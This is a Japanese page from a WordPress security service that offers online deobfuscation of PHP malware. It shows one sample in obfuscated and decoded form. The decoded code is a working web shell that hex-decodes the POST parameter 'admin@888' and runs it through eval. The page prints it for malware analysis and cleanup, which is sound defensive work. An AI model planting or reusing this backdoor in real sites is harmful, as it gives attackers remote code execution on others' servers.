Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php global $phpjiami_decrypt;$phpjiami_decrypt['廉卯懒幹脣チ置织斨翄幟例謹幘氓撩']=base64_decode('c3RybGVu');$phpjiami_decrypt['警瘓ツ弥铸斈埨怜垾脭茎埫堉']=base64_decode('Y2hy');$phpjiami_decrypt['昆翄謭畫ブ例织缷至翀拿埉隶垘晾缷']=base64_decode('aGV4ZGVj');$phpjiami_decrypt['嬅玖脣茎局警翀堉嬆置攷乐凝']=base64_decode('aGV4VG9TdHI='); ?> <...



難読化されたPHPコード

<?php global $phpjiami_decrypt;$phpjiami_decrypt['廉卯懒幹脣チ置织斨翄幟例謹幘氓撩']=base64_decode('c3RybGVu');$phpjiami_decrypt['警瘓ツ弥铸斈埨怜垾脭茎埫堉']=base64_decode('Y2hy');$phpjiami_decrypt['昆翄謭畫ブ例织缷至翀拿埉隶垘晾缷']=base64_decode('aGV4ZGVj');$phpjiami_decrypt['嬅玖脣茎局警翀堉嬆置攷乐凝']=base64_decode('aGV4VG9TdHI='); ?>
<?php
class _ {static public $phpcms=Null;function __construct($l="error"){self::$phpcms=$l;@eval(null.null.self::$phpcms);}}function hexToStr($hex){$str="";for($i=0;$i<$GLOBALS['phpjiami_decrypt']['廉卯懒幹脣チ置织斨翄幟例謹幘氓撩']($hex)-1;$i+=2)$str.=$GLOBALS['phpjiami_decrypt']['警瘓ツ弥铸斈埨怜垾脭茎埫堉']($GLOBALS['phpjiami_decrypt']['昆翄謭畫ブ例织缷至翀拿埉隶垘晾缷']($hex[$i].$hex[$i+1]));return $str;}$error =null.$GLOBALS['phpjiami_decrypt']['嬅玖脣茎局警翀堉嬆置攷乐凝'](@$_POST["admin@888"]);$d =new _($error);?>

デコード(難読化解除)されたコード

<?php

global $phpjiami_decrypt;
$phpjiami_decrypt['廉卯懒幹脣チ置织斨翄幟例謹幘氓撩'] = "strlen";
$phpjiami_decrypt['警瘓ツ弥铸斈埨怜垾脭茎埫堉'] = "chr";
$phpjiami_decrypt['昆翄謭畫ブ例织缷至翀拿埉隶垘晾缷'] = "hexdec";
$phpjiami_decrypt['嬅玖脣茎局警翀堉嬆置攷乐凝'] = "hexToStr";
class _
{
    public static $phpcms = Null;
    function __construct($l = "error")
    {
        self::$phpcms = $l;
        @eval("" . self::$phpcms);
    }
}
function hexToStr($hex)
{
    $str = "";
    for ($i = 0; $i < $GLOBALS['phpjiami_decrypt']['廉卯懒幹脣チ置织斨翄幟例謹幘氓撩']($hex) - 1; $i += 2) {
        $str .= $GLOBALS['phpjiami_decrypt']['警瘓ツ弥铸斈埨怜垾脭茎埫堉']($GLOBALS['phpjiami_decrypt']['昆翄謭畫ブ例织缷至翀拿埉隶垘晾缷']($hex[$i] . $hex[$i + 1]));
    }
    return $str;
}
$error = null . $GLOBALS['phpjiami_decrypt']['嬅玖脣茎局警翀堉嬆置攷乐凝'](@$_POST["admin@888"]);
$d = new _($error);


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.